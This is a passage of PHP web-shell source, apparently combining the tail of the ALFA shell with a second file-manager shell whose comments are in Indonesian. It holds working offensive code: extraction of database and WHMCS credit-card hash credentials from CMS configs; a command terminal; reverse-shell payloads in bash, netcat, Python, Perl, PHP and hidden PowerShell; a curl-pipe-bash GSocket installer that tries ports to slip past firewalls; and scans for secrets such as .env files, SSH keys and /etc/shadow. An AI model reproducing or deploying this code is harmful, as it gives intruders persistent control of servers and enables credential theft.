if(@is_dir($path)||_alfa_is_dir($path)){ $file=$path.$file; }elseif(@is_file($path)||_alfa_is_dir($path,"-e")){ $file=$path; }else{ return false; } $file = __read_file($file); if($cms == "drupal2"){ $file = preg_replace("/\@code(.*?)\@endcode/s", "", $file); }elseif($cms == "vb"){ $file = preg_replace("/right of the(.*?)BAD!/s", "", $file); } if(preg_match($srch_host, $file, $mach)){ $data['host'] = $mach[$chost]; } if(preg_match($srch_user, $file, $mach)){ $data['user'] = $mach[$cuser]; } if(preg_match($srch_name, $file, $mach)){ $data['dbname'] = $mach[$cname]; } if(preg_match($srch_pw, $file, $mach)){ $data['password'] = $mach[$cpw]; } if(isset($prefix)){ if(preg_match($prefix, $file, $mach)){ $data['prefix'] = $mach[$cprefix]; } } if($cms=='whmcs'){ if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){ $data['cc_encryption_hash'] = $mach[3]; } } echo json_encode($data); } if(empty($_POST['a'])) if(isset($default_action) && function_exists('alfa' . $default_action)) $_POST['a'] = $default_action; else $_POST['a'] = 'FilesMan2'; if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) call_user_func('alfa' . $_POST['a']); exit; ?> 0) { ob_end_clean(); } // Cek apakah ini API request if (isset($_GET['api'])) { header('Content-Type: application/json; charset=utf-8'); echo json_encode(array( 'ok' => false, 'error' => 'Server error: ' . $error['message'] )); } } }); // ───── Polyfills (kompatibilitas lintas versi PHP) ──────────────── if (!function_exists('http_response_code')) { // PHP < 5.4 fallback function http_response_code($code = null) { static $current = 200; if ($code !== null) { header(' ', true, (int)$code); $current = (int)$code; } return $current; } } if (!function_exists('str_contains')) { // PHP < 8.0 polyfill function str_contains($haystack, $needle) { return $needle === '' || strpos($haystack, $needle) !== false; } } if (!defined('JSON_UNESCAPED_UNICODE')) define('JSON_UNESCAPED_UNICODE', 0); if (!defined('JSON_UNESCAPED_SLASHES')) define('JSON_UNESCAPED_SLASHES', 0); // ───── Konfigurasi awal ─────────────────────────────────────────── $realBase = realpath(__DIR__); $baseDir = $realBase ? $realBase : __DIR__; // Set upload limits @ini_set('upload_max_filesize', '100M'); @ini_set('post_max_size', '100M'); @ini_set('max_file_uploads', '20'); @ini_set('memory_limit', '256M'); @ini_set('display_errors', 0); // Matikan display errors agar tidak merusak JSON error_reporting(E_ALL); function jsonOut($data, $code = 200) { // Bersihkan output buffer sebelum kirim JSON // (menghapus stray whitespace, PHP notices, dll) while (ob_get_level() > 0) { ob_end_clean(); } http_response_code((int)$code); header('Content-Type: application/json; charset=utf-8'); echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } function sanitizeRelPath($path) { $path = (string)$path; // Decode URL encoded path first $path = urldecode($path); // Handle Windows paths (C:/, D:/, etc) if (preg_match('/^[A-Za-z]:/', $path)) { // Normalize slashes $path = str_replace('\\', '/', $path); // Fix double slashes $path = preg_replace('#/+#', '/', $path); // Ensure format like C:/path/to/folder $path = preg_replace('/^([A-Za-z]:)\/*/', '$1/', $path); return $path; } // Handle absolute Linux paths if (strlen($path) > 0 && $path[0] === '/') { $path = preg_replace('#/+#', '/', $path); return $path; } // Original relative path logic $path = str_replace(array('\\', "\0"), array('/', ''), $path); $path = trim($path, '/'); $parts = array_filter(explode('/', $path), function($p) { return $p !== '' && $p !== '.'; }); $clean = array(); foreach ($parts as $part) { if ($part === '..') { array_pop($clean); continue; } if (preg_match('/[\x00-\x1f]/', $part)) continue; $clean[] = $part; } return implode('/', $clean); } function resolvePath($baseDir, $relPath, $mustExist = true) { $rel = sanitizeRelPath($relPath); // Handle absolute Windows paths (C:/, D:/, etc) if (preg_match('/^[A-Za-z]:\//', $rel)) { // Convert to system path $full = str_replace('/', DIRECTORY_SEPARATOR, $rel); if ($mustExist) { $real = realpath($full); if ($real !== false) { return $real; } return null; } else { // Check if parent exists $parent = dirname($full); if (is_dir($parent) || is_dir($full)) { return $full; } return null; } } // Handle absolute Linux paths if (strlen($rel) > 0 && $rel[0] === '/') { if ($mustExist) { $real = realpath($rel); if ($real !== false) { return $real; } return null; } else { $parent = dirname($rel); if (is_dir($parent) || is_dir($rel)) { return $rel; } return null; } } // Handle relative paths $full = $rel === '' ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel); $real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null); if ($real === false || $real === null) { if (!$mustExist) { $parent = dirname($full); $parentReal = realpath($parent); $baseDirNormalized = str_replace('\\', '/', $baseDir); $parentRealNormalized = $parentReal ? str_replace('\\', '/', $parentReal) : ''; if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) { return $full; } } return null; } $realNormalized = str_replace('\\', '/', $real); $baseDirNormalized = str_replace('\\', '/', $baseDir); $starts = strpos($realNormalized, $baseDirNormalized) === 0; return $starts ? $real : null; } function formatBytes($bytes) { $bytes = (int)$bytes; if ($bytes < 1024) return $bytes . ' B'; $units = array('KB', 'MB', 'GB', 'TB'); $v = $bytes / 1024; foreach ($units as $u) { if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . ' ' . $u; $v /= 1024; } return number_format($v, 1) . ' PB'; } function fileIcon($name, $dir) { if ($dir) return 'folder'; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $iconMap = array( 'php' => 'php', 'phtml' => 'php', 'js' => 'js', 'mjs' => 'js', 'ts' => 'js', 'tsx' => 'js', 'jsx' => 'js', 'css' => 'css', 'scss' => 'css', 'sass' => 'css', 'less' => 'css', 'html' => 'html', 'htm' => 'html', 'json' => 'config', 'yaml' => 'config', 'yml' => 'config', 'xml' => 'config', 'toml' => 'config', 'env' => 'config', 'ini' => 'config', 'md' => 'text', 'txt' => 'text', 'log' => 'text', 'png' => 'image', 'jpg' => 'image', 'jpeg' => 'image', 'gif' => 'image', 'webp' => 'image', 'svg' => 'image', 'ico' => 'image', 'zip' => 'archive', 'rar' => 'archive', '7z' => 'archive', 'tar' => 'archive', 'gz' => 'archive', 'sql' => 'database', 'db' => 'database', ); return isset($iconMap[$ext]) ? $iconMap[$ext] : 'file'; } function isTextFile($path) { $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $text = array('php','phtml','js','mjs','ts','tsx','jsx','css','scss','sass','less','html','htm', 'json','yaml','yml','xml','toml','env','ini','md','txt','log','sql','htaccess','gitignore','csv'); if (in_array($ext, $text, true)) return true; $size = filesize($path); if ($size === false || $size > 512000) return false; $fh = fopen($path, 'rb'); if (!$fh) return false; $chunk = fread($fh, 8192); fclose($fh); return $chunk !== false && !preg_match('/[\x00-\x08\x0e-\x1f]/', $chunk); } function listEntries($dir) { $items = array(); $h = @opendir($dir); if (!$h) return $items; while (($name = readdir($h)) !== false) { if ($name === '.' || $name === '..') continue; $full = $dir . DIRECTORY_SEPARATOR . $name; $isDir = is_dir($full); $perm = substr(sprintf('%o', fileperms($full)), -4); $sz = @filesize($full); $mt = @filemtime($full); $items[] = array( 'name' => $name, 'is_dir' => $isDir, 'size' => $isDir ? null : (int)($sz ? $sz : 0), 'modified' => (int)($mt ? $mt : time()), 'icon' => fileIcon($name, $isDir), 'perm' => $perm, 'editable' => !$isDir && isTextFile($full), ); } closedir($h); usort($items, function ($a, $b) { if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); return $items; } function runTerminal($command, $cwd) { if (!function_exists('proc_open')) { return array('output' => 'proc_open() is disabled on this server.', 'exit_code' => 1); } $descriptors = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')); $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $cmd = $isWin ? 'cmd /C ' . $command : $command; $pipes = array(); $proc = @proc_open($cmd, $descriptors, $pipes, $cwd); if (!is_resource($proc)) return array('output' => 'Failed to execute.', 'exit_code' => 1); fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); $code = proc_close($proc); $stdout = $stdout ? $stdout : ''; $stderr = $stderr ? $stderr : ''; $sep = ($stdout !== '' && $stderr !== '') ? "\n" : ''; $out = trim($stdout . $sep . $stderr); if ($out === '') { $out = ($code === 0) ? '(no output)' : ''; } return array('output' => $out, 'exit_code' => $code); } function searchFiles($baseDir, $relDir, $query, &$results, &$count, $limit = 200) { if ($count >= $limit) return; $dir = resolvePath($baseDir, $relDir); if (!$dir || !is_dir($dir)) return; $h = @opendir($dir); if (!$h) return; while (($name = readdir($h)) !== false) { if ($name === '.' || $name === '..') continue; if ($count >= $limit) break; $full = $dir . DIRECTORY_SEPARATOR . $name; $itemRel = $relDir === '' ? $name : $relDir . '/' . $name; if (stripos($name, $query) !== false) { $isDir = is_dir($full); $sz = @filesize($full); $results[] = array( 'path' => $itemRel, 'name' => $name, 'is_dir' => $isDir, 'icon' => fileIcon($name, $isDir), 'size' => $isDir ? null : (int)($sz ? $sz : 0), ); $count++; } if (is_dir($full)) searchFiles($baseDir, $itemRel, $query, $results, $count, $limit); } closedir($h); } function getCrontab() { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if ($isWin) { $result = runTerminal('schtasks /query /fo LIST', $GLOBALS['baseDir']); return array('content' => $result['output'], 'platform' => 'windows', 'editable' => false); } $result = runTerminal('crontab -l 2>&1', $GLOBALS['baseDir']); $out = $result['output']; if (stripos($out, 'no crontab') !== false) { $out = ''; } return array('content' => $out, 'platform' => 'unix', 'editable' => true); } function setCrontab($content) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if ($isWin) { return array('ok' => false, 'error' => 'Edit crontab on Windows via schtasks in Terminal.'); } $tmp = tempnam(sys_get_temp_dir(), 'cron'); if ($tmp === false) { return array('ok' => false, 'error' => 'Cannot create temp file'); } file_put_contents($tmp, rtrim((string)$content) . "\n"); $result = runTerminal('crontab ' . escapeshellarg($tmp), $GLOBALS['baseDir']); @unlink($tmp); if ($result['exit_code'] !== 0) { return array('ok' => false, 'error' => $result['output'] ? $result['output'] : 'Failed to save crontab'); } return array('ok' => true); } function parsePortList($spec, $max = 500) { $ports = array(); foreach (explode(',', (string)$spec) as $part) { $part = trim($part); if ($part === '') continue; if (preg_match('/^(\d+)\s*-\s*(\d+)$/', $part, $m)) { $start = max(1, min(65535, (int)$m[1])); $end = max(1, min(65535, (int)$m[2])); if ($start > $end) { $t = $start; $start = $end; $end = $t; } for ($p = $start; $p <= $end && count($ports) < $max; $p++) { $ports[$p] = $p; } } elseif (preg_match('/^\d+$/', $part)) { $p = (int)$part; if ($p >= 1 && $p <= 65535 && count($ports) < $max) { $ports[$p] = $p; } } } return array_values($ports); } function scanPorts($host, $portsSpec, $timeout = 1) { $host = trim((string)$host); if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) { return array('ok' => false, 'error' => 'Invalid host'); } $timeout = max(1, min(5, (int)$timeout)); $ports = parsePortList($portsSpec, 500); if (empty($ports)) { return array('ok' => false, 'error' => 'No valid ports (e.g. 22,80,443 or 1-1024)'); } $open = array(); $ip = @gethostbyname($host); foreach ($ports as $port) { $conn = @fsockopen($host, $port, $errno, $errstr, $timeout); if ($conn) { $open[] = (int)$port; fclose($conn); } } sort($open); return array('ok' => true, 'host' => $host, 'ip' => $ip, 'open' => $open, 'scanned' => count($ports)); } function startBackconnect($ip, $port, $method) { $ip = trim((string)$ip); $port = (int)$port; $method = strtolower(trim((string)$method)); if ($ip === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $ip)) { return array('ok' => false, 'error' => 'Invalid IP/hostname'); } if ($port < 1 || $port > 65535) { return array('ok' => false, 'error' => 'Invalid port'); } $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $payloads = array( 'bash' => "bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'", 'nc' => "rm -f /tmp/.bc;mkfifo /tmp/.bc;cat /tmp/.bc|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/.bc", 'python' => "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'", 'perl' => "perl -e 'use Socket;\$i=\"{$ip}\";\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", 'php' => "php -r '\$s=fsockopen(\"{$ip}\",{$port});proc_open(\"/bin/sh -i\",array(0=>\$s,1=>\$s,2=>\$s),\$p);'", ); if ($isWin) { $payloads['powershell'] = "powershell -nop -W hidden -c \"\$c=New-Object Net.Sockets.TCPClient('{$ip}',{$port});\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){;\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length)}\""; $payloads['nc'] = "nc.exe {$ip} {$port} -e cmd.exe"; } if (!isset($payloads[$method])) { return array('ok' => false, 'error' => 'Unknown method'); } $cmd = $payloads[$method]; if ($isWin) { @pclose(@popen('start /B ' . $cmd, 'r')); } else { @exec($cmd . ' > /dev/null 2>&1 &'); } return array('ok' => true, 'message' => 'Backconnect started (' . $method . ') → ' . $ip . ':' . $port); } function gsocketIsFirewalled($output) { $out = strtolower((string)$output); return strpos($out, 'cannot connect to gsrn') !== false || (strpos($out, 'firewalled') !== false && strpos($out, 'gsrn') !== false); } function gsocketBuildCommand($method, $port = null) { $method = strtolower(trim((string)$method)); if ($method === 'wget') { $inner = 'wget --no-check-certificate -qO- https://gsocket.io/y'; } else { $method = 'curl'; $inner = 'curl -fsSLk https://gsocket.io/y'; } $prefix = 'GS_NOCERTCHECK=1'; if ($port !== null) { $prefix .= ' GS_PORT=' . (int)$port; } return array( 'command' => $prefix . ' bash -c "$(' . $inner . ')"', 'method' => $method, 'port' => $port, ); } function runGsocket($method) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if ($isWin) { return array('ok' => false, 'error' => 'GSocket installer requires bash (Linux/Unix).'); } if (!function_exists('proc_open')) { return array('ok' => false, 'error' => 'proc_open() is disabled on this server.'); } @set_time_limit(1800); @ini_set('max_execution_time', '1800'); $portsToTry = array(null); for ($p = 22; $p <= 67; $p++) { $portsToTry[] = $p; } $allOutput = ''; $attempts = 0; $successPort = null; $lastCommand = ''; $lastMethod = strtolower(trim((string)$method)); if ($lastMethod !== 'wget') { $lastMethod = 'curl'; } $lastExit = 1; $stoppedOnFirewalled = false; foreach ($portsToTry as $port) { $built = gsocketBuildCommand($method, $port); $command = $built['command']; $lastCommand = $command; $lastMethod = $built['method']; $label = ($port === null) ? 'default (no GS_PORT)' : ('GS_PORT=' . $port); $attempts++; $result = runTerminal($command, $GLOBALS['baseDir']); if ($result['output'] === 'Failed to execute.') { return array('ok' => false, 'error' => 'Failed to execute GSocket installer.', 'command' => $command); } $lastExit = (int)$result['exit_code']; $firewalled = gsocketIsFirewalled($result['output']); $allOutput .= '=== Attempt ' . $attempts . ': ' . $label . " ===\n"; $allOutput .= '$ ' . $command . "\n\n"; $allOutput .= $result['output'] . "\n"; $allOutput .= '(exit ' . $lastExit . ")\n\n"; if (!$firewalled) { $successPort = $port; $allOutput .= '=== SUCCESS: GSRN reachable with ' . $label . " ===\n"; break; } $stoppedOnFirewalled = true; if ($port !== null && $port >= 67) { $allOutput .= "=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\n"; } } $portLabel = ($successPort === null) ? 'default' : (string)$successPort; return array( 'ok' => true, 'output' => $allOutput, 'exit_code' => $lastExit, 'command' => $lastCommand, 'method' => $lastMethod, 'gs_port' => $successPort, 'gs_port_label' => $portLabel, 'attempts' => $attempts, 'firewalled' => ($successPort === null && $stoppedOnFirewalled), 'success' => ($successPort !== null || !$stoppedOnFirewalled), ); } function runSecTool($tool, $input, $baseDir) { $tool = strtolower(trim((string)$tool)); switch ($tool) { case 'recon': return secRecon($baseDir); case 'sensitive': return secSensitiveScan($baseDir, (string)_v($input, 'path', '')); case 'processes': return secProcesses($baseDir); case 'network': return secNetwork($baseDir); case 'http': return secHttpRequest( (string)_v($input, 'url', ''), (string)_v($input, 'method', 'GET'), (string)_v($input, 'headers', ''), (string)_v($input, 'body', '') ); case 'hash': return secHash((string)_v($input, 'text', ''), (string)_v($input, 'algo', 'sha256')); case 'codec': return secCodec((string)_v($input, 'mode', 'b64enc'), (string)_v($input, 'text', '')); case 'dns': return secDns((string)_v($input, 'host', ''), (string)_v($input, 'type', 'ALL')); case 'suid': return secSuidFind($baseDir); default: return array('ok' => false, 'error' => 'Unknown security tool'); } } function secRecon($baseDir) { $lines = array(); $lines[] = '=== SYSTEM RECON ==='; $lines[] = 'Timestamp : ' . date('Y-m-d H:i:s T'); $lines[] = 'PHP : ' . PHP_VERSION . ' (' . PHP_SAPI . ')'; $lines[] = 'OS : ' . PHP_OS; $lines[] = 'Server : ' . (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '-'); $lines[] = 'Hostname : ' . (function_exists('gethostname') ? gethostname() : '-'); $lines[] = 'Doc Root : ' . (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '-'); $lines[] = 'Script : ' . __FILE__; $lines[] = 'Base Dir : ' . $baseDir; $lines[] = 'Client IP : ' . (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-'); $lines[] = ''; $lines[] = '=== USER / PRIVILEGE ==='; $lines[] = 'PHP user : ' . get_current_user(); if (function_exists('posix_geteuid')) { $lines[] = 'UID/EUID : ' . posix_getuid() . ' / ' . posix_geteuid(); $pw = @posix_getpwuid(posix_geteuid()); if ($pw) $lines[] = 'Account : ' . $pw['name'] . ' (home: ' . (isset($pw['dir']) ? $pw['dir'] : '-') . ')'; $groups = @posix_getgroups(); if ($groups) { $gn = array(); foreach ($groups as $gid) { $g = @posix_getgrgid($gid); $gn[] = $g ? $g['name'] : $gid; } $lines[] = 'Groups : ' . implode(', ', $gn); } } $whoami = runTerminal('whoami 2>&1', $baseDir); $lines[] = 'whoami : ' . trim($whoami['output']); $id = runTerminal('id 2>&1', $baseDir); $lines[] = 'id : ' . trim($id['output']); $lines[] = ''; $lines[] = '=== PHP SECURITY ==='; $lines[] = 'disable_functions : ' . (ini_get('disable_functions') ? ini_get('disable_functions') : '(none)'); $lines[] = 'open_basedir : ' . (ini_get('open_basedir') ? ini_get('open_basedir') : '(none)'); $lines[] = 'allow_url_fopen : ' . (ini_get('allow_url_fopen') ? 'On' : 'Off'); $lines[] = 'allow_url_include : ' . (ini_get('allow_url_include') ? 'On' : 'Off'); $lines[] = 'display_errors : ' . (ini_get('display_errors') ? 'On' : 'Off'); $lines[] = 'expose_php : ' . (ini_get('expose_php') ? 'On' : 'Off'); $lines[] = 'proc_open : ' . (function_exists('proc_open') && !secFuncDisabled('proc_open') ? 'Available' : 'Disabled'); $lines[] = 'shell_exec : ' . (function_exists('shell_exec') && !secFuncDisabled('shell_exec') ? 'Available' : 'Disabled'); $lines[] = 'curl : ' . (function_exists('curl_init') ? 'Available' : 'Missing'); $lines[] = 'PDO : ' . (class_exists('PDO') ? 'Available' : 'Missing'); $lines[] = ''; $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if (!$isWin) { $lines[] = '=== KERNEL / SYSTEM ==='; $uname = runTerminal('uname -a 2>&1', $baseDir); $lines[] = trim($uname['output']); $lines[] = 'Uptime: ' . trim(runTerminal('uptime 2>&1', $baseDir)['output']); $lines[] = ''; } $lines[] = '=== ENVIRONMENT (selected) ==='; $envKeys = array('PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'TEMP', 'TMP', 'HTTP_HOST', 'SERVER_NAME'); foreach ($envKeys as $k) { $v = getenv($k); if ($v !== false && $v !== '') $lines[] = $k . '=' . $v; } return array('ok' => true, 'output' => implode("\n", $lines)); } function secFuncDisabled($fn) { $disabled = ini_get('disable_functions'); if (!$disabled) return false; return in_array($fn, array_map('trim', explode(',', $disabled)), true); } function secSensitiveScan($baseDir, $scanPath) { $patterns = array( '.env', '.env.local', '.env.production', '.env.backup', '.env.old', 'wp-config.php', 'configuration.php', 'config.php', 'settings.php', 'LocalSettings.php', 'database.yml', 'secrets.yml', 'web.config', 'appsettings.json', 'local.settings.json', 'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys', '.htpasswd', 'docker-compose.yml', 'docker-compose.yaml', '.git/config', 'passwd', 'shadow', 'backup.sql', 'dump.sql', 'db.sql', '.my.cnf', 'pgpass', '.pgpass', ); $roots = array(); if ($scanPath !== '') { $resolved = resolvePath($baseDir, $scanPath, false); if ($resolved && @is_dir($resolved)) $roots[] = $resolved; } if (empty($roots)) { $roots[] = $baseDir; foreach (array('/var/www', '/home', '/etc', '/tmp', dirname($baseDir)) as $r) { if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r; } } $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $found = array(); if (!$isWin) { $nameExpr = array(); foreach ($patterns as $p) { $nameExpr[] = '-name ' . escapeshellarg($p); } $expr = '\( ' . implode(' -o ', $nameExpr) . ' \)'; foreach ($roots as $root) { $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 7 ' . $expr . ' -type f 2>/dev/null | head -60'; $out = runTerminal($cmd, $baseDir); foreach (explode("\n", $out['output']) as $line) { $line = trim($line); if ($line !== '' && @is_file($line)) { $found[$line] = array( 'path' => $line, 'size' => @filesize($line), 'perm' => substr(sprintf('%o', @fileperms($line)), -4), 'readable' => @is_readable($line), ); } } if (count($found) >= 80) break; } } else { secWalkSensitive($roots[0], $patterns, $found, 0, 6); } $lines = array('=== SENSITIVE FILE SCAN ===', 'Roots: ' . implode(', ', $roots), 'Found: ' . count($found), ''); foreach ($found as $item) { $flag = $item['readable'] ? '[R]' : '[--]'; $lines[] = $flag . ' ' . $item['perm'] . ' ' . secFormatBytes(isset($item['size']) ? $item['size'] : 0) . ' ' . $item['path']; } if (empty($found)) $lines[] = '(no sensitive files found in scan scope)'; return array('ok' => true, 'output' => implode("\n", $lines), 'count' => count($found), 'files' => array_values($found)); } function secWalkSensitive($dir, $patterns, &$found, $depth, $maxDepth) { if ($depth > $maxDepth || count($found) >= 80) return; $h = @opendir($dir); if (!$h) return; while (($name = readdir($h)) !== false) { if ($name === '.' || $name === '..') continue; $full = $dir . DIRECTORY_SEPARATOR . $name; if (in_array($name, $patterns, true) && @is_file($full)) { $found[$full] = array( 'path' => $full, 'size' => @filesize($full), 'perm' => substr(sprintf('%o', @fileperms($full)), -4), 'readable' => @is_readable($full), ); } if (@is_dir($full) && $depth < $maxDepth) { secWalkSensitive($full, $patterns, $found, $depth + 1, $maxDepth); } if (count($found) >= 80) break; } closedir($h); } function secFormatBytes($bytes) { $bytes = (int)$bytes; if ($bytes < 1024) return $bytes . 'B'; if ($bytes < 1048576) return round($bytes / 1024, 1) . 'K'; return round($bytes / 1048576, 1) . 'M'; } function secProcesses($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $cmd = $isWin ? 'tasklist /V' : 'ps auxww 2>/dev/null || ps -ef 2>/dev/null'; $result = runTerminal($cmd, $baseDir); return array('ok' => true, 'output' => $result['output']); } function secNetwork($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if ($isWin) { $cmd = 'netstat -ano'; } else { $cmd = 'ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null || netstat -an 2>/dev/null'; } $result = runTerminal($cmd, $baseDir); $extra = runTerminal($isWin ? 'ipconfig /all' : 'ip addr 2>/dev/null; echo "---"; ip route 2>/dev/null', $baseDir); $out = "=== LISTENING / CONNECTIONS ===\n" . $result['output'] . "\n\n=== INTERFACES / ROUTES ===\n" . $extra['output']; return array('ok' => true, 'output' => $out); } function secHttpRequest($url, $method, $headersRaw, $body) { $url = trim($url); if ($url === '' || !preg_match('#^https?://#i', $url)) { return array('ok' => false, 'error' => 'URL must start with http:// or https://'); } $method = strtoupper(trim($method)); if (!in_array($method, array('GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS'), true)) { return array('ok' => false, 'error' => 'Invalid HTTP method'); } if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); if ($body !== '' && in_array($method, array('POST', 'PUT', 'PATCH'), true)) { curl_setopt($ch, CURLOPT_POSTFIELDS, $body); } $hdrs = array(); foreach (preg_split('/\r?\n/', $headersRaw) as $line) { $line = trim($line); if ($line !== '') $hdrs[] = $line; } if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs); $resp = curl_exec($ch); $err = curl_error($ch); $info = curl_getinfo($ch); curl_close($ch); if ($resp === false) return array('ok' => false, 'error' => $err ? $err : 'Request failed'); $out = "=== HTTP RESPONSE ===\n"; $out .= 'URL : ' . $url . "\n"; $out .= 'Method : ' . $method . "\n"; $out .= 'Code : ' . (isset($info['http_code']) ? $info['http_code'] : '?') . "\n"; $out .= 'Time : ' . (isset($info['total_time']) ? round($info['total_time'], 3) . 's' : '?') . "\n\n"; $out .= $resp; return array('ok' => true, 'output' => $out); } $cmd = 'curl -sS -k -i -X ' . escapeshellarg($method); foreach (preg_split('/\r?\n/', $headersRaw) as $line) { $line = trim($line); if ($line !== '') $cmd .= ' -H ' . escapeshellarg($line); } if ($body !== '' && in_array($method, array('POST', 'PUT', 'PATCH'), true)) { $cmd .= ' --data ' . escapeshellarg($body); } $cmd .= ' ' . escapeshellarg($url); $result = runTerminal($cmd, $GLOBALS['baseDir']); return array('ok' => true, 'output' => $result['output']); } function secHash($text, $algo) { $algos = array('md5', 'sha1', 'sha256', 'sha512', 'crc32'); $algo = strtolower(trim($algo)); if (!in_array($algo, $algos, true)) { return array('ok' => false, 'error' => 'Invalid algorithm'); } if ($algo === 'crc32') { $hash = sprintf('%u', crc32($text)); } else { $hash = hash($algo, $text); } $out = "=== HASH ($algo) ===\nInput length: " . strlen($text) . " bytes\n\n" . $hash; return array('ok' => true, 'output' => $out, 'hash' => $hash, 'algo' => $algo); } function secCodec($mode, $text) { $mode = strtolower(trim($mode)); $result = ''; switch ($mode) { case 'b64enc': $result = base64_encode($text); break; case 'b64dec': $decoded = base64_decode($text, true); if ($decoded === false) return array('ok' => false, 'error' => 'Invalid Base64'); $result = $decoded; break; case 'urlenc': $result = rawurlencode($text); break; case 'urldec': $result = rawurldecode($text); break; case 'rot13': $result = str_rot13($text); break; case 'hexenc': $result = bin2hex($text); break; case 'hexdec': if (!preg_match('/^[0-9a-fA-F\s]+$/', $text)) { return array('ok' => false, 'error' => 'Invalid hex string'); } $clean = preg_replace('/\s+/', '', $text); if (strlen($clean) % 2 !== 0) return array('ok' => false, 'error' => 'Odd-length hex'); $result = pack('H*', $clean); break; default: return array('ok' => false, 'error' => 'Unknown codec mode'); } $out = "=== CODEC ($mode) ===\n\n" . $result; return array('ok' => true, 'output' => $out, 'result' => $result); } function secDns($host, $type) { $host = trim($host); if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) { return array('ok' => false, 'error' => 'Invalid hostname'); } if (!function_exists('dns_get_record')) { return array('ok' => false, 'error' => 'dns_get_record() not available'); } $type = strtoupper(trim($type)); $map = array( 'A' => DNS_A, 'AAAA' => DNS_AAAA, 'MX' => DNS_MX, 'TXT' => DNS_TXT, 'NS' => DNS_NS, 'CNAME' => DNS_CNAME, 'SOA' => DNS_SOA, 'PTR' => DNS_PTR, ); $lines = array('=== DNS LOOKUP: ' . $host . ' ===', ''); if ($type === 'ALL') { foreach ($map as $label => $const) { $recs = @dns_get_record($host, $const); if (!empty($recs)) { $lines[] = '--- ' . $label . ' ---'; foreach ($recs as $r) { $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); } $lines[] = ''; } } } else { if (!isset($map[$type])) return array('ok' => false, 'error' => 'Invalid record type'); $recs = @dns_get_record($host, $map[$type]); if (empty($recs)) { $lines[] = '(no ' . $type . ' records)'; } else { foreach ($recs as $r) { $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); } } } if (count($lines) <= 2) $lines[] = '(no records found)'; return array('ok' => true, 'output' => implode("\n", $lines)); } function secSuidFind($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; if ($isWin) { return array('ok' => true, 'output' => "=== SUID/SGID SCAN ===\nLinux/Unix only.\n"); } $suid = runTerminal('find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80', $baseDir); $sgid = runTerminal('find /usr /bin 